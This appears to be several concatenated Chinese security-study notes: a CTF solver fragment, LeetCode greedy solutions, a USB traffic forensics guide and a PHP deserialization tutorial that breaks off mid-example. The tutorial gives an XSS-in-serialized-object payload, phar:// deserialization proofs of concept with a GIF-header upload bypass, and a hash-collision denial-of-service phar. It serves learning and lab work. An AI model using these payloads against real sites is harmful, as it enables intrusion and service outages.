return display(root)
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("188.166.133.53", 11491))
regex = "Level \d+\.: \[(.*)\]"
initial_data = str(s.recv(4096))
print(initial_data)
while True:
sleep(1)
task = str(s.recv(4096))
print(task)
m = re.search(regex, task)
nodes = [int(x) for x in m.group(1).split(",")]
print(nodes)
result = order(nodes)
print(result)
s.sendall(str(result) + "\n")
pass
main()
#IW{10000101010101TR33}
|
sec-knowleage
|
# Leetcode 题解 - 贪心思想
<!-- GFM-TOC -->
* [Leetcode 题解 - 贪心思想](#leetcode-题解---贪心思想)
* [1. 分配饼干](#1-分配饼干)
* [2. 不重叠的区间个数](#2-不重叠的区间个数)
* [3. 投飞镖刺破气球](#3-投飞镖刺破气球)
* [4. 根据身高和序号重组队列](#4-根据身高和序号重组队列)
* [5. 买卖股票最大的收益](#5-买卖股票最大的收益)
* [6. 买卖股票的最大收益 II](#6-买卖股票的最大收益-ii)
* [7. 种植花朵](#7-种植花朵)
* [8. 判断是否为子序列](#8-判断是否为子序列)
* [9. 修改一个数成为非递减数组](#9-修改一个数成为非递减数组)
* [10. 子数组最大的和](#10-子数组最大的和)
* [11. 分隔字符串使同种字符出现在一起](#11-分隔字符串使同种字符出现在一起)
<!-- GFM-TOC -->
保证每次操作都是局部最优的,并且最后得到的结果是全局最优的。
## 1. 分配饼干
455\. Assign Cookies (Easy)
[Leetcode](https://leetcode.com/problems/assign-cookies/description/) / [力扣](https://leetcode-cn.com/problems/assign-cookies/description/)
```html
Input: grid[1,3], size[1,2,4]
Output: 2
```
题目描述:每个孩子都有一个满足度 grid,每个饼干都有一个大小 size,只有饼干的大小大于等于一个孩子的满足度,该孩子才会获得满足。求解最多可以获得满足的孩子数量。
1. 给一个孩子的饼干应当尽量小并且又能满足该孩子,这样大饼干才能拿来给满足度比较大的孩子。
2. 因为满足度最小的孩子最容易得到满足,所以先满足满足度最小的孩子。
在以上的解法中,我们只在每次分配时饼干时选择一种看起来是当前最优的分配方法,但无法保证这种局部最优的分配方法最后能得到全局最优解。我们假设能得到全局最优解,并使用反证法进行证明,即假设存在一种比我们使用的贪心策略更优的最优策略。如果不存在这种最优策略,表示贪心策略就是最优策略,得到的解也就是全局最优解。
证明:假设在某次选择中,贪心策略选择给当前满足度最小的孩子分配第 m 个饼干,第 m 个饼干为可以满足该孩子的最小饼干。假设存在一种最优策略,可以给该孩子分配第 n 个饼干,并且 m \< n。我们可以发现,经过这一轮分配,贪心策略分配后剩下的饼干一定有一个比最优策略来得大。因此在后续的分配中,贪心策略一定能满足更多的孩子。也就是说不存在比贪心策略更优的策略,即贪心策略就是最优策略。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e69537d2-a016-4676-b169-9ea17eeb9037.gif" width="430px"> </div><br>
```java
public int findContentChildren(int[] grid, int[] size) {
if (grid == null || size == null) return 0;
Arrays.sort(grid);
Arrays.sort(size);
int gi = 0, si = 0;
while (gi < grid.length && si < size.length) {
if (grid[gi] <= size[si]) {
gi++;
}
si++;
}
return gi;
}
```
## 2. 不重叠的区间个数
435\. Non-overlapping Intervals (Medium)
[Leetcode](https://leetcode.com/problems/non-overlapping-intervals/description/) / [力扣](https://leetcode-cn.com/problems/non-overlapping-intervals/description/)
```html
Input: [ [1,2], [1,2], [1,2] ]
Output: 2
Explanation: You need to remove two [1,2] to make the rest of intervals non-overlapping.
```
```html
Input: [ [1,2], [2,3] ]
Output: 0
Explanation: You don't need to remove any of the intervals since they're already non-overlapping.
```
题目描述:计算让一组区间不重叠所需要移除的区间个数。
先计算最多能组成的不重叠区间个数,然后用区间总个数减去不重叠区间的个数。
在每次选择中,区间的结尾最为重要,选择的区间结尾越小,留给后面的区间的空间越大,那么后面能够选择的区间个数也就越大。
按区间的结尾进行排序,每次选择结尾最小,并且和前一个区间不重叠的区间。
```java
public int eraseOverlapIntervals(int[][] intervals) {
if (intervals.length == 0) {
return 0;
}
Arrays.sort(intervals, Comparator.comparingInt(o -> o[1]));
int cnt = 1;
int end = intervals[0][1];
for (int i = 1; i < intervals.length; i++) {
if (intervals[i][0] < end) {
continue;
}
end = intervals[i][1];
cnt++;
}
return intervals.length - cnt;
}
```
使用 lambda 表示式创建 Comparator 会导致算法运行时间过长,如果注重运行时间,可以修改为普通创建 Comparator 语句:
```java
Arrays.sort(intervals, new Comparator<int[]>() {
@Override
public int compare(int[] o1, int[] o2) {
return (o1[1] < o2[1]) ? -1 : ((o1[1] == o2[1]) ? 0 : 1);
}
});
```
实现 compare() 函数时避免使用 `return o1[1] - o2[1];` 这种减法操作,防止溢出。
## 3. 投飞镖刺破气球
452\. Minimum Number of Arrows to Burst Balloons (Medium)
[Leetcode](https://leetcode.com/problems/minimum-number-of-arrows-to-burst-balloons/description/) / [力扣](https://leetcode-cn.com/problems/minimum-number-of-arrows-to-burst-balloons/description/)
```
Input:
[[10,16], [2,8], [1,6], [7,12]]
Output:
2
```
题目描述:气球在一个水平数轴上摆放,可以重叠,飞镖垂直投向坐标轴,使得路径上的气球都被刺破。求解最小的投飞镖次数使所有气球都被刺破。
也是计算不重叠的区间个数,不过和 Non-overlapping Intervals 的区别在于,[1, 2] 和 [2, 3] 在本题中算是重叠区间。
```java
public int findMinArrowShots(int[][] points) {
if (points.length == 0) {
return 0;
}
Arrays.sort(points, Comparator.comparingInt(o -> o[1]));
int cnt = 1, end = points[0][1];
for (int i = 1; i < points.length; i++) {
if (points[i][0] <= end) {
continue;
}
cnt++;
end = points[i][1];
}
return cnt;
}
```
## 4. 根据身高和序号重组队列
406\. Queue Reconstruction by Height(Medium)
[Leetcode](https://leetcode.com/problems/queue-reconstruction-by-height/description/) / [力扣](https://leetcode-cn.com/problems/queue-reconstruction-by-height/description/)
```html
Input:
[[7,0], [4,4], [7,1], [5,0], [6,1], [5,2]]
Output:
[[5,0], [7,0], [5,2], [6,1], [4,4], [7,1]]
```
题目描述:一个学生用两个分量 (h, k) 描述,h 表示身高,k 表示排在前面的有 k 个学生的身高比他高或者和他一样高。
为了使插入操作不影响后续的操作,身高较高的学生应该先做插入操作,否则身高较小的学生原先正确插入的第 k 个位置可能会变成第 k+1 个位置。
身高 h 降序、个数 k 值升序,然后将某个学生插入队列的第 k 个位置中。
```java
public int[][] reconstructQueue(int[][] people) {
if (people == null || people.length == 0 || people[0].length == 0) {
return new int[0][0];
}
Arrays.sort(people, (a, b) -> (a[0] == b[0] ? a[1] - b[1] : b[0] - a[0]));
List<int[]> queue = new ArrayList<>();
for (int[] p : people) {
queue.add(p[1], p);
}
return queue.toArray(new int[queue.size()][]);
}
```
## 5. 买卖股票最大的收益
121\. Best Time to Buy and Sell Stock (Easy)
[Leetcode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/) / [力扣](https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock/description/)
题目描述:一次股票交易包含买入和卖出,只进行一次交易,求最大收益。
只要记录前面的最小价格,将这个最小价格作为买入价格,然后将当前的价格作为售出价格,查看当前收益是不是最大收益。
```java
public int maxProfit(int[] prices) {
int n = prices.length;
if (n == 0) return 0;
int soFarMin = prices[0];
int max = 0;
for (int i = 1; i < n; i++) {
if (soFarMin > prices[i]) soFarMin = prices[i];
else max = Math.max(max, prices[i] - soFarMin);
}
return max;
}
```
## 6. 买卖股票的最大收益 II
122\. Best Time to Buy and Sell Stock II (Easy)
[Leetcode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/description/) / [力扣](https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-ii/description/)
题目描述:可以进行多次交易,多次交易之间不能交叉进行,可以进行多次交易。
对于 [a, b, c, d],如果有 a \<= b \<= c \<= d ,那么最大收益为 d - a。而 d - a = (d - c) + (c - b) + (b - a) ,因此当访问到一个 prices[i] 且 prices[i] - prices[i-1] \> 0,那么就把 prices[i] - prices[i-1] 添加到收益中。
```java
public int maxProfit(int[] prices) {
int profit = 0;
for (int i = 1; i < prices.length; i++) {
if (prices[i] > prices[i - 1]) {
profit += (prices[i] - prices[i - 1]);
}
}
return profit;
}
```
## 7. 种植花朵
605\. Can Place Flowers (Easy)
[Leetcode](https://leetcode.com/problems/can-place-flowers/description/) / [力扣](https://leetcode-cn.com/problems/can-place-flowers/description/)
```html
Input: flowerbed = [1,0,0,0,1], n = 1
Output: True
```
题目描述:flowerbed 数组中 1 表示已经种下了花朵。花朵之间至少需要一个单位的间隔,求解是否能种下 n 朵花。
```java
public boolean canPlaceFlowers(int[] flowerbed, int n) {
int len = flowerbed.length;
int cnt = 0;
for (int i = 0; i < len && cnt < n; i++) {
if (flowerbed[i] == 1) {
continue;
}
int pre = i == 0 ? 0 : flowerbed[i - 1];
int next = i == len - 1 ? 0 : flowerbed[i + 1];
if (pre == 0 && next == 0) {
cnt++;
flowerbed[i] = 1;
}
}
return cnt >= n;
}
```
## 8. 判断是否为子序列
392\. Is Subsequence (Medium)
[Leetcode](https://leetcode.com/problems/is-subsequence/description/) / [力扣](https://leetcode-cn.com/problems/is-subsequence/description/)
```html
s = "abc", t = "ahbgdc"
Return true.
```
```java
public boolean isSubsequence(String s, String t) {
int index = -1;
for (char c : s.toCharArray()) {
index = t.indexOf(c, index + 1);
if (index == -1) {
return false;
}
}
return true;
}
```
## 9. 修改一个数成为非递减数组
665\. Non-decreasing Array (Easy)
[Leetcode](https://leetcode.com/problems/non-decreasing-array/description/) / [力扣](https://leetcode-cn.com/problems/non-decreasing-array/description/)
```html
Input: [4,2,3]
Output: True
Explanation: You could modify the first 4 to 1 to get a non-decreasing array.
```
题目描述:判断一个数组是否能只修改一个数就成为非递减数组。
在出现 nums[i] \< nums[i - 1] 时,需要考虑的是应该修改数组的哪个数,使得本次修改能使 i 之前的数组成为非递减数组,并且 **不影响后续的操作** 。优先考虑令 nums[i - 1] = nums[i],因为如果修改 nums[i] = nums[i - 1] 的话,那么 nums[i] 这个数会变大,就有可能比 nums[i + 1] 大,从而影响了后续操作。还有一个比较特别的情况就是 nums[i] \< nums[i - 2],修改 nums[i - 1] = nums[i] 不能使数组成为非递减数组,只能修改 nums[i] = nums[i - 1]。
```java
public boolean checkPossibility(int[] nums) {
int cnt = 0;
for (int i = 1; i < nums.length && cnt < 2; i++) {
if (nums[i] >= nums[i - 1]) {
continue;
}
cnt++;
if (i - 2 >= 0 && nums[i - 2] > nums[i]) {
nums[i] = nums[i - 1];
} else {
nums[i - 1] = nums[i];
}
}
return cnt <= 1;
}
```
## 10. 子数组最大的和
53\. Maximum Subarray (Easy)
[Leetcode](https://leetcode.com/problems/maximum-subarray/description/) / [力扣](https://leetcode-cn.com/problems/maximum-subarray/description/)
```html
For example, given the array [-2,1,-3,4,-1,2,1,-5,4],
the contiguous subarray [4,-1,2,1] has the largest sum = 6.
```
```java
public int maxSubArray(int[] nums) {
if (nums == null || nums.length == 0) {
return 0;
}
int preSum = nums[0];
int maxSum = preSum;
for (int i = 1; i < nums.length; i++) {
preSum = preSum > 0 ? preSum + nums[i] : nums[i];
maxSum = Math.max(maxSum, preSum);
}
return maxSum;
}
```
## 11. 分隔字符串使同种字符出现在一起
763\. Partition Labels (Medium)
[Leetcode](https://leetcode.com/problems/partition-labels/description/) / [力扣](https://leetcode-cn.com/problems/partition-labels/description/)
```html
Input: S = "ababcbacadefegdehijhklij"
Output: [9,7,8]
Explanation:
The partition is "ababcbaca", "defegde", "hijhklij".
This is a partition so that each letter appears in at most one part.
A partition like "ababcbacadefegde", "hijhklij" is incorrect, because it splits S into less parts.
```
```java
public List<Integer> partitionLabels(String S) {
int[] lastIndexsOfChar = new int[26];
for (int i = 0; i < S.length(); i++) {
lastIndexsOfChar[char2Index(S.charAt(i))] = i;
}
List<Integer> partitions = new ArrayList<>();
int firstIndex = 0;
while (firstIndex < S.length()) {
int lastIndex = firstIndex;
for (int i = firstIndex; i < S.length() && i <= lastIndex; i++) {
int index = lastIndexsOfChar[char2Index(S.charAt(i))];
if (index > lastIndex) {
lastIndex = index;
}
}
partitions.add(lastIndex - firstIndex + 1);
firstIndex = lastIndex + 1;
}
return partitions;
}
private int char2Index(char c) {
return c - 'a';
}
```
|
sec-knowleage
|
# USB取证
<p align="center">
<img src="../../../../assets/img/banner/USB取证.jpg" width="90%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**相关文章**
- [USB - CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/misc/traffic/protocols/USB-zh/)
- [USB流量取证分析](https://blog.csdn.net/qq_43431158/article/details/108717829)
- [USB流量取证分析](https://www.freebuf.com/articles/database/231809.html)
- [深入理解USB流量数据包的抓取与分析](https://www.cnblogs.com/ecjtuacm-873284962/p/9473808.html)
- [关于usb流量分析](https://www.jianshu.com/p/92064f2e9dcb)
**相关工具**
- [FzWjScJ/knm](https://github.com/FzWjScJ/knm) - 鼠标键盘流量包取证
- tshark
```bash
tshark -r tmp.pcap -T fields -e usb.capdata > usbdata.txt
# -r: 设置 tshark 分析的输入文件
# -T: 设置解码结果输出的格式,包括 fileds,text,ps,psml 和 pdml,默认为 text
# 如果提取出来的数据有空行,可以将命令改为如下形式:
tshark -r tmp.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
```
> 提取出来的数据可能会带冒号,也可能不带,但是一般键盘映射的脚本都会按照有冒号的数据来识别,有冒号时提取数据的 [6:8],无冒号时数据在 [4:6],可以用如下脚本来加上冒号
```py
# -*- coding: UTF-8 -*-
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16: # 键盘流量的话 len 改为 16, 鼠标流量改为 8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
```
**CTF writup**
- [USB流量知识点小结](http://www.ga1axy.top/index.php/archives/22/)
- [记一道鼠标流量分析题](http://www.ga1axy.top/index.php/archives/23/)
- [记一道比较复杂的USB流量分析题](http://www.ga1axy.top/index.php/archives/10/)
- [【技术分享】从CTF中学USB流量捕获与解析](https://www.anquanke.com/post/id/85218)
- [USB流量分析](https://ares-x.com/2017/11/20/USB%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/)
- [CTF流量分析常见题型(二)-USB流量](https://blog.csdn.net/qq_43625917/article/details/107723635)
- [CTF MISC-USB流量分析出题记录](https://www.cnblogs.com/hackxf/p/10670844.html)
---
## USB流量
USB 使用的三种方式
- USB UART : 这种方式下,设备只是简单的将 USB 用于接受和发射数据,除此之外就再没有, 其他通讯功能了。
- USB HID : 这一类通讯适用于交互式,有这种功能的设备有:键盘,鼠标,游戏手柄和数字显示设备。
- USB Memory : 数据存储
USB 协议版本有 USB1.0, USB1.1, USB2.0, USB3.1 等, 目前 USB2.0 比较常用。
每一个 USB 设备(尤其是 HID 或者 Memory )都有一个供应商 ID(Vendor ID) 和产品识别码(Product Id) 。 Vendor ID 是用来标记哪个厂商生产了这个 USB 设备。 Product ID 则用来标记不同的产品.
> lsusb 命令用于显示本机的USB设备列表,以及USB设备的详细信息。
- Bus 002: 指明设备连接到哪条总线
- Device 002: 表明这是连接到总线上的第二台设备
- ID : 设备的 ID
- VMware, Inc. Virtual Mouse: 生产商名字和设备名
USB 流量的捕获可以使用 wireshark 或 usbpcap 来进行,在 ctf 中通常会给出已经捕获好的流量包,而我们需要做的便是从流量包中还原捕获的数据。
用 wireshark 打开流量包, USB 协议的数据部分在 Leftover Capture Data 块中
在蓝色部分可以看到这个区域,右键→应用为列,即可在上面显示出来这一列
键盘流量的数据长度为 8 个字节, 鼠标流量的数据长度为 4 个字节
---
### 键盘流量
键盘数据包的数据长度为 8 个字节,击键信息集中在第 3 个字节,每次击键都会产生一个数据包。所以如果看到给出的数据包中的信息都是 8 个字节,并且只有第 3 个字节不为 0000,那么几乎可以肯定是一个键盘流量了。
- 字节下标
- 0 : 修改键(组合键)
- 1 : OEM 保留
- 2~7 : 按键码
- BYTE1
- bit0: Left Control 是否按下,按下为 1
- bit1: Left Shift 是否按下,按下为 1
- bit2: Left Alt 是否按下,按下为 1
- bit3: Left WIN/GUI 是否按下,按下为 1
- bit4: Right Control 是否按下,按下为 1
- bit5: Right Shift 是否按下,按下为 1
- bit6: Right Alt 是否按下,按下为 1
- bit7: Right WIN/GUI 是否按下,按下为 1
- BYTE2 - 暂不清楚,有的地方说是保留位
- BYTE3-BYTE8 - 这六个为普通按键
例如: 键盘发送 02 00 0e 00 00 00 00 00,表示同时按下了 Left Shift + 'k',即大写 K。
具体键位对应 [Universal Serial Bus HID Usage Tables - USB-IF](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf) 53页~59页
> 还原 tshark 提取数据到键盘映射的脚本
```py
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('out.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
# 00:00:xx:....
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print('output :n' + output)
```
**相关工具**
- [WangYihang/UsbKeyboardDataHacker](https://github.com/WangYihang/UsbKeyboardDataHacker) - USB键盘流量包取证工具 , 用于恢复用户的击键信息
---
### 鼠标流量
鼠标移动时表现为连续性,与键盘击键的离散性不一样,不过实际上鼠标动作所产生的数据包也是离散的
鼠标数据包的数据长度为4个字节
- 第一个字节代表按键,当取 `0x00` 时,代表没有按键、为 `0x01` 时,代表按左键,为 `0x02` 时,代表当前按键为右键。
- 第二个字节可以看成是一个 signed byte 类型,其最高位为符号位,当这个值为正(小于127)时,代表鼠标水平右移多少像素,为负(补码负数,大于127小于255)时,代表水平左移多少像素。
- 第三个字节与第二字节类似,代表垂直上下移动的偏移。
- 第四个是扩展字节
- 0 - 没有滚轮运动
- 1 - 垂直向上滚动一下
- 0xFF - 垂直向下滚动一下
- 2 - 水平滚动右键一下
- 0xFE - 水平滚动左键单击一下
例如: 鼠标发送 00 01 fc 00,表示鼠标右移 01 像素,垂直向下移动 124 像素.
> 还原 tshark 提取数据到鼠标偏移的脚本
```py
nums = []
keys = open('out.txt','r')
f = open('xy.txt','w')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 : # 1 代表左键
f.write(str(posx))
f.write(' ')
f.write(str(posy))
f.write('\n')
f.close()
```
配合 gnuplot 将坐标轴转换为图像
- [gnuplot学习笔记](../../../Develop/可视化/gnuplot/gnuplot学习笔记.md#读取文件) 读取文件部分
**相关工具**
- [WangYihang/UsbMiceDataHacker](https://github.com/WangYihang/UsbMiceDataHacker) - USB鼠标流量包取证工具 , 主要用于绘制鼠标移动以及拖动轨迹
|
sec-knowleage
|
# 41.2 字符流中第一个不重复的字符
## 题目描述
[牛客网](https://www.nowcoder.com/practice/00de97733b8e4f97a3fb5c680ee10720?tpId=13&tqId=11207&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
请实现一个函数用来找出字符流中第一个只出现一次的字符。例如,当从字符流中只读出前两个字符 "go" 时,第一个只出现一次的字符是 "g"。当从该字符流中读出前六个字符“google" 时,第一个只出现一次的字符是 "l"。
## 解题思路
使用统计数组来统计每个字符出现的次数,本题涉及到的字符为都为 ASCII 码,因此使用一个大小为 128 的整型数组就能完成次数统计任务。
使用队列来存储到达的字符,并在每次有新的字符从字符流到达时移除队列头部那些出现次数不再是一次的元素。因为队列是先进先出顺序,因此队列头部的元素为第一次只出现一次的字符。
```java
private int[] cnts = new int[128];
private Queue<Character> queue = new LinkedList<>();
public void Insert(char ch) {
cnts[ch]++;
queue.add(ch);
while (!queue.isEmpty() && cnts[queue.peek()] > 1)
queue.poll();
}
public char FirstAppearingOnce() {
return queue.isEmpty() ? '#' : queue.peek();
}
```
|
sec-knowleage
|
# Web
一个 Web 项目的整个开发流程

- UI(user-interface)也可以叫UI设计师
- 前端(front-end)也可以叫前台
- 后端(back-end)也可叫后台
### 前端代码运行环境是什么呢?
对于我们 Web 开发者来说,就是浏览器。注意,浏览器是安装在用户自己的机器上的。也就是说前端代码运行在我们自己的笔记本或者 ipad 上,如果前端代码写的烂,那么考验的是我们自己设备的内存大小。
### 后端代码运行环境是?
是一个放在人家机房里的刀片机。上面一般都运行 Linux 操作系统。刀片机根本就没有显示器,当然也不能跑浏览器。所以后端代码的运行是脱离浏览器的。如果后端写的烂,那么考验的就是刀片机的内存够不够了。
### 什么是数据库
网站运行需要有大量的数据的读取,同时用户也需要把自己的数据存储到服务器,对于海量数据的操作。就需要有专门的软件配合,这个软件就是数据库。
当前比较流行的数据库,Oracle 甲骨文,SQL server ,这些都是商业数据库。但是,开源数据库目前更受青睐。一个是 Mysql , 另一个是 MongoDB 。
### API
然后,再从 API 的角度来聊聊。前端是 API 的消费者,后端是 API 的生产者。后台 API 写好之后,默认不运行,只有当前端发送过请求来的时候才会触发后台 API 代码运行。
当然,在平常开发的时候,我们并没购买刀片机,所有只能是用自己的笔记本来当刀片机用了。这时候,基本可以认为 express 写的代码就是后端代码,react 写的代码就是前端代码。
**小贴士**: UI/API 都是接口,同时都是给人用的,但是他们有什么区别呢
UI: 程序跟用户( User )的接口
API: 程序跟程序或者说程序员的接口,API 分多种,我们下面专门瞄准的是 Web API 或者叫 HTTP API
|
sec-knowleage
|
# PHP反序列化
---
**相关文章 & Source & Reference**
- [Web安全 | PHP反序列化入门这一篇就够了](https://mp.weixin.qq.com/s/HvyRjbLVPaMg7DBfdYmdJw)
- [php反序列化练习题](https://www.cnblogs.com/th0r/p/14152102.html)
- [php反序列化知识点总结](https://www.cnblogs.com/th0r/p/14071894.html)
**相关工具**
- [php 在线反序列化工具](https://www.w3cschool.cn/tools/index?name=unserialize)
---
PHP 对不同类型的数据用不同的字母进行标示
```
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
```
---
## 什么是序列化
php 中, 使用函数 `serialize()` 来返回一个包含字节流的字符串来表示
比如:
```php
class S{
public $test="sd";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
```
序列化的结果是:
```
O:1:"S":1:{s:4:"test";s:2:"sd";}
```
代表的含义依次是:
```
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型(string)
4:变量名称的长度
test:变量名称
s:数据类型
2:变量值的长度
sd:变量值
```
反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
使用unserialize()函数
```php
$u=unserialize("O:1:"S":1:{s:4:"test";s:2:"sd";}");
echo $u->test; //得到的结果为sd
```
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
**案例**
以 pikachu 靶场为例
输入:
```
O:1:"S":1:{s:4:"test";s:2:"sd";}
# 显示 sd
O:1:"S":1:{s:4:"test";s:30:"<script>alert('test')</script>";}
# 显示 <script>alert('test')</script>
```
查看源码
```php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
```
从源码可以看到反序列化的变量是 post 请求的, post 请求变量名为 o, 通过抓包发现我们输入框输入的值, 正好赋值给 Post 变量 o
然后源码中实现了 `unserialize()` 函数,进行了反序列化,同时,S 类中的 `__construct()` 函数被调用。
最后没有对传参进行过滤,否则无法构成目的 Payload。
实战中要更具情况来构造 payload, 能利用的漏洞也远不止 xss,我们可以利用 `phar://` 协议触发反序列化,前提是完全可控的文件名。
---
## phar://伪协议
**基础知识**
- [伪协议](./伪协议.md#phar://)
**相关文章**
- [blackhat议题深入 | phar反序列化](https://cloud.tencent.com/developer/article/1350367)
**案例**
根据 phar 文件结构我们来自己构建一个 phar 文件,php 内置了一个 Phar 类来处理相关操作。
```php
<?php
class TestObject {
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='abc';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
```
注意:要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件
访问该 php 页面, 会在文件当前目录下生成一个 phar 文件
很明显的序列化特征,TestObject 这个类已经以序列化形式储存
### 直接利用
* 有可利用函数
* 有可直接利用的魔法方法或pop链
* 函数参数可控,并且可以输入特殊字符 :、/、phar
```php
<?php
class Test{
public function __destruct() {
echo 'i am __destruct(): ';
echo $this->data.'</br>';
}
}
include('phar://test.phar');
?>
```
### 绕过幻术头检测
phar 在设计时, 只要求前缀为 `__HALT_COMPILER();` 而后缀或者内容并未设限, 可以构造文件绕过上传
```php
<?php
class TestObject {
}
@unlink("sd.phar");
$phar = new Phar("sd.phar");
$phar->startBuffering();
$phar->setStub("GIF89a","<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$o->data='sd!';
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
```
```php
<?php
include('phar://sd.gif');
class TestObject {
function __destruct()
{
echo $this->data;
}
}
?>
```
成功将 meta-data 中 data 数据反序列化出来
### 哈希表碰撞攻击
在 PHP 内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的 key 使哈希表退化成单链表(时间复杂度从 O(1) => O(n))来触发拒绝服务攻击。
构造一串恶意的 serialize 数据(能够触发哈希表拒绝服务攻击),然后将其保存到 phar 文件的 metadata 数据区,当文件操作函数通过 phar:// 协议对其进行操作的时候就会触发拒绝服务攻击漏洞。
```php
<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$new_obj = new stdClass;
$new_obj->hacker = $array;
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('GIF<?php __HALT_COMPILER();?>');
?>
```
---
## 反序列化字符逃逸
```php
<?php
class person{
public $name = 'Bob';
public $age = 18;
}
$P = new person();
$s = serialize($P);
echo $s.'</br>';
var_dump(unserialize($s));
$s_1 = $s.'abcd';
echo '</br>'.$s_1.'</br>';
var_dump(unserialize($s_1));
?>
```
```
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}
object(person)#2 (2) { ["name"]=> string(3) "Bob" ["age"]=> int(18) }
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}abcd
object(person)#2 (2) { ["name"]=> string(3) "Bob" ["age"]=> int(18) }
```
在序列化后的字符串后面加任意字符并不影响反序列化后的输出
在反序列化时,底层代码是以 `;` 作为字段的分隔,以 `}` 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。
```php
<?php
class person{
public $name = 'Bob';
public $age = 18;
}
$P = new person();
$s = serialize($P);
echo $s.'</br>';
$s = 'O:6:"person":2:{s:5:"name";s:3:"Bob";s:3:"age";i:18;}';
unserialize($s);
?>
```
```
输出:
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}
Notice: unserialize(): Error at offset 26 of 53 bytes in /serialize.php on line 11
```
当长度与字符实际长度不符 会报错
```php
<?php
class person{
public $name = 'Bob';
public $age = 18;
}
$P = new person();
$s = serialize($P);
echo $s.'</br>';
$s = 'O:6:"person":3:{s:4:"name";s:3:"Bob";s:3:"age";i:18;s:6:"height";i:180;}';
var_dump(unserialize($s));
?>
```
```
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}
object(person)#2 (3) { ["name"]=> string(3) "Bob" ["age"]=> int(18) ["height"]=> int(180) }
```
可以反序列化类中不存在的元素
### 字符串变长
```php
<?php
function filter($str){
return str_replace('x', 'yy', $str);
}
class A{
public $name='Bob';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
